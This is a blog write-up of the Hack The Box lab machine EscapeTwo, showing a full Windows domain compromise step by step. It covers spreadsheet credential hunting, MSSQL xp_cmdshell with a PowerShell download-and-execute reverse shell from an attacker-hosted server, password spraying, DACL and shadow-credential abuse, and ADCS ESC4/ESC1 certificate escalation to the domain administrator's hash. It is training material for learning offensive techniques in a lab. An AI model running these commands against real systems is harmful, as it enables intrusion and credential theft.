HTB - EscapeTwo Writeup

Liam Geyer

πŸ‘Ύ Machine Overview

This is a writeup of the machine EscapeTwo from HTB, it’s an easy difficulty Windows machine which featured credential hunting, MSSQL exploitation, as well as AD/ADCS shenanigans.

This was an assumed breach machine, so we start off with access to the domain with the credentials rose:KxEPkKe6R8su.

πŸ” Enumeration

I started off with an Nmap scan of the host:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
nmap -sV -sC -Pn 10.10.11.51
Nmap scan report for 10.10.11.51
Host is up (0.029s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-21 21:39:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-04-21T10:02:31
|_Not valid after: 2055-04-21T10:02:31
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-21T21:40:39
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.91 seconds

We have the generic windows SMB, LDAP, etc. as well as MSSQL. I went ahead and added sequel.htb and DC01.sequel.htb to my /etc/hosts file.

πŸ“‚ SMB

I started off by checking out the shares accessible to Rose.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
smbmap -u rose -p KxEPkKe6R8su -d sequel.htb -H DC01.sequel.htb

________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - [email protected]<mailto:[email protected]>
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.11.51:445 Name: DC01.sequel.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
Accounting Department READ ONLY
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Users READ ONLY
[*] Closed 1 connections

Looks like we have access to Users, and Accounting Department.

There’s two files in the accounting share that we can grab.

1
2
3
4
5
6
7
8
9
10
11
12
13
smbclient --user=sequel.htb/rose%KxEPkKe6R8su '\\DC01.sequel.htb\Accounting Department\'
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Jun 9 06:52:21 2024
.. D 0 Sun Jun 9 06:52:21 2024
accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024
accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024

6367231 blocks of size 4096. 912529 blocks available
smb: \> get accounting_2024.xlsx
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (76.2 KiloBytes/sec) (average 76.2 KiloBytes/sec)
smb: \> get accounts.xlsx
getting file \accounts.xlsx of size 6780 as accounts.xlsx (51.3 KiloBytes/sec) (average 63.8 KiloBytes/sec)

I tried opening these up in Excel, but they’re corrupted/invalid. Since all Office documents are zip files containing the portions of the document, we can extract the file and manually try to find the content.

Within the accounts.xlsx/xl/sharedStrings.xml file I found a list of accounts and passwords (the other one was useless):

1
2
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">[email protected]</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">[SNIPPED]</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">[email protected]</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">[SNIPPED]</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">[email protected]</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">[SNIPPED]</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">[email protected]</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">[SNIPPED]</t></si></sst>

Notably here we have [email protected] - the admin account for MSSQL.

πŸ’» MSSQL

We can use Impacket to connect to the MSSQL server with the sa credentials from the Excel file.

1
2
3
4
5
6
7
8
9
10
11
12
mssqlclient.py 'sa:[SNIPPED]@DC01.sequel.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)>

From here we should be able to use xp_cmdshell to get command execution as the SQL service account.

1
2
3
4
5
6
7
8
9
SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> xp_cmdshell whoami
output
--------------
sequel\sql_svc

NULL

I served a simple PowerShell reverse shell to drop via xp_cmdshell

1
sudo python3 -m http.server 80
1
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://[IP]/rev.ps1") | powershell -noprofile'

πŸ•΄ SQL_SVC

Now we have access to sql_svc - but not their credentials. I poked around with PrivescCheck and found nothing.

I ran Bloodhound to see if our user had any interesting rights in AD - but also found nothing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bloodhound-python -u rose -p KxEPkKe6R8su -d sequel.htb -c all -dc DC01.sequel.htb -ns 10.10.11.51 --zip
INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.sequel.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.sequel.htb
INFO: Found 10 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.sequel.htb
INFO: Done in 00M 09S
INFO: Compressing output into 20250421175236_bloodhound.zip

Hunting around the box I found C:\SQL2019\ExpressAdv_ENU which contained sql-Configuraton.INI and believe it or not cleartext credentials for sql_svc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PS C:\SQL2019\ExpressAdv_ENU> cat sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="[SNIPPED]"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="[SNIPPED]"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

These were valid for the account, but that doesn’t really get us anywhere else.

1
2
3
nxc smb DC01.sequel.htb -u sql_svc -p [SNIPPED]
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\sql_svc:[SNIPPED]

Since it’s HTB, and I was hitting a wall, I decided to spray our credentials. I made a list of all our users and credentials, and then sprayed over SMB with NetExec.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Collecting users
nxc smb DC01.sequel.htb -u rose -p KxEPkKe6R8su --users
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.51 445 DC01 Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain
SMB 10.10.11.51 445 DC01 Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.51 445 DC01 krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account
SMB 10.10.11.51 445 DC01 michael 2024-06-08 16:47:37 0
SMB 10.10.11.51 445 DC01 ryan 2024-06-08 16:55:45 0
SMB 10.10.11.51 445 DC01 oscar 2024-06-08 16:56:36 0
SMB 10.10.11.51 445 DC01 sql_svc 2024-06-09 07:58:42 0
SMB 10.10.11.51 445 DC01 rose 2024-12-25 14:44:54 0
SMB 10.10.11.51 445 DC01 ca_svc 2025-04-21 22:17:29 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Spraying credentials
nxc smb DC01.sequel.htb -u user.list -p pass.list --continue-on-success
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ryan:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\oscar:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\sql_svc:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\rose:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ryan:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\oscar:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\sql_svc:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\rose:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ryan:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:[SNIPPED]
SMB 10.10.11.51 445 DC01 [-] sequel.htb\sql_svc:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\rose:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ryan:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\sql_svc:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\rose:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [+] sequel.htb\ryan:[SNIPPED]
SMB 10.10.11.51 445 DC01 [+] sequel.htb\sql_svc:[SNIPPED]
SMB 10.10.11.51 445 DC01 [-] sequel.htb\rose:[SNIPPED] STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:[SNIPPED] STATUS_LOGON_FAILURE

And boom, we now have access to ryan, and oscar. Oscar was a dead end, but we can use Ryan to WinRM in and grab the user flag!

1
evil-winrm -i DC01.sequel.htb -u ryan -p [SNIPPED]

πŸ“œ ADCS

✨ CA_SVC

I decided to checkout Ryan’s permissions on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all

USER INFORMATION
----------------

User Name SID
=========== ============================================
sequel\ryan S-1-5-21-548670397-972687484-3496335370-1114


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
SEQUEL\Management Department Group S-1-5-21-548670397-972687484-3496335370-1602 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Other than certificate services I didn’t seeing anything of immediate use - other than him being in the Management Department. Pivoting to Bloodhound, Ryan has some useful permissions over ca_svc.

WriteOwner over CA_SVC

We can use Impacket to make Ryan the owner of the ADCS service account, and then use our newfound permissions to gain access to the account.

Note: This part of the machine gets frequently reset due to a cleanup script running in the background. You may need to retry steps if things fail.

1
2
3
4
5
6
7
8
9
10
11
12
# Take ownership of CA_SVC w/Impacket
owneredit.py -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'[SNIPPED]'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-548670397-972687484-3496335370-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb
[*] OwnerSid modified successfully!

# Same thing with bloodyAD if you're having trouble
bloodyAD --host "[IP]" -d "sequel.htb" -u "ryan" -p "[SNIPPED]" set owner ca_svc ryan

Now as the owner of the CA account, we can give Ryan FullControl over the account.

1
2
3
4
5
dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'[SNIPPED]'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250421-192935.bak
[*] DACL modified successfully!

From here we have a few options. The standard move would be to change the users password, but since this is a CA we can use whisker to add shadowcreds to the account if PKINIT is supported for authentication. This ends up being the way to go for this machine because it persists despite the cleanup script periodically resetting the account.

First we use whisker to add shadowcreds and get a certificate.

1
2
3
4
5
6
7
8
9
10
11
12
pywhisker -d sequel.htb -u ryan -p "[SNIPPED]" --target ca_svc --action add
[*] Searching for the target account
[*] Target user found: CN=Certification Authority,CN=Users,DC=sequel,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: fce66861-087b-3d2a-3704-dd18fdd5dc7f
[*] Updating the msDS-KeyCredentialLink attribute of ca_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: [CERT].pfx
[*] Must be used with password: [PASSWORD]
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Next we can use certipy to remove the password from the certificate - this is needed because certipy can’t authenticate using a password-protected certificate.

1
2
3
4
certipy cert -export -pfx [CERT].pfx -password [PASSWORD] -out unprotected.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unprotected.pfx'

Lastly, we can use that to authenticate and grab the hash for CA_SVC.

1
2
3
4
5
6
7
8
9
10
11
certipy auth -pfx unprotected.pfx -dc-ip 10.10.11.51 -username 'ca_svc' -domain 'sequel.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...

[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Got hash for '[email protected]': [SNIPPED]

πŸƒβ€β™‚ ESC4

Now as CA_SVC we can revisit ADCS. I started off by using certipy to find vulnerable templates.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
certipy find -vulnerable -u [email protected] -hashes :[SNIPPED] -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250421193758_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250421193758_Certipy.txt'
[*] Saved JSON output to '20250421193758_Certipy.json'

Checking out the resulting JSON there’s an interesting DunderMifflinAuthentication template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
"0": {
"Template Name": "DunderMifflinAuthentication",
"Display Name": "Dunder Mifflin Authentication",
"Certificate Authorities": [
"sequel-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
"SubjectRequireCommonName",
"SubjectAltRequireDns"
],
"Enrollment Flag": [
"AutoEnrollment",
"PublishToDs"
],
"Private Key Flag": [
"16842752"
],
"Extended Key Usage": [
"Client Authentication",
"Server Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1000 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "SEQUEL.HTB\\Enterprise Admins",
"Full Control Principals": [
"SEQUEL.HTB\\Cert Publishers"
],
"Write Owner Principals": [
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins",
"SEQUEL.HTB\\Administrator",
"SEQUEL.HTB\\Cert Publishers"
],
"Write Dacl Principals": [
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins",
"SEQUEL.HTB\\Administrator",
"SEQUEL.HTB\\Cert Publishers"
],
"Write Property Principals": [
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins",
"SEQUEL.HTB\\Administrator",
"SEQUEL.HTB\\Cert Publishers"
]
}
},
"[!] Vulnerabilities": {
"ESC4": "'SEQUEL.HTB\\\\Cert Publishers' has dangerous permissions"
}
}

This template is vulnerable to ESC4. This means that members of the Cert Publishers have permissions over the template allowing them to rewrite the template to become vulnerable to ESC1.

If we check Bloodhound we can see that CA_SVC is in fact in the Cert Publishers group, allowing us to perform the attack.

CA_SVC Group Membership

First we’ll rewrite the template making it vulnerable to ESC1.

1
2
3
4
5
certipy template -u [email protected] -hashes :[SNIPPED] -dc-ip 10.10.11.51 -template DunderMifflinAuthentication
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Next, we can exploit ESC1 to get a certificate for the domain administrator account.

1
2
3
4
5
6
7
8
9
10
11
12
certipy req -u [email protected] -hashes :[SNIPPED] -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn [email protected] -ca sequel-DC01-CA -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Now we can authenticate with the certificate to grab the admin’s hash.

1
2
3
4
5
6
7
8
9
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'sequel.htb' -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': [SNIPPED]

From here we can WinRM in and grab the flag, YIPPEEEE!!!

1
evil-winrm -i DC01.sequel.htb -u administrator -H [SNIPPED]

πŸ“– Resources

πŸ”— Hyperlinkℹ️ Info
CybersecNotesESC1
CybersecNotesESC4
CybersecNotesShadow Credentials
Hacking ArticlesExploiting WriteOwner
SpecterOpsExplaining and introducing ShadowCreds/Whisker
  • Title: HTB - EscapeTwo Writeup
  • Author: Liam Geyer
  • Created at : 2025-04-21 00:00:00
  • Updated at : 2025-06-05 22:47:18
  • Link: https://lfgberg.org/2025/04/21/htb/EscapeTwo/
  • License: This work is licensed under CC BY-NC-SA 4.0.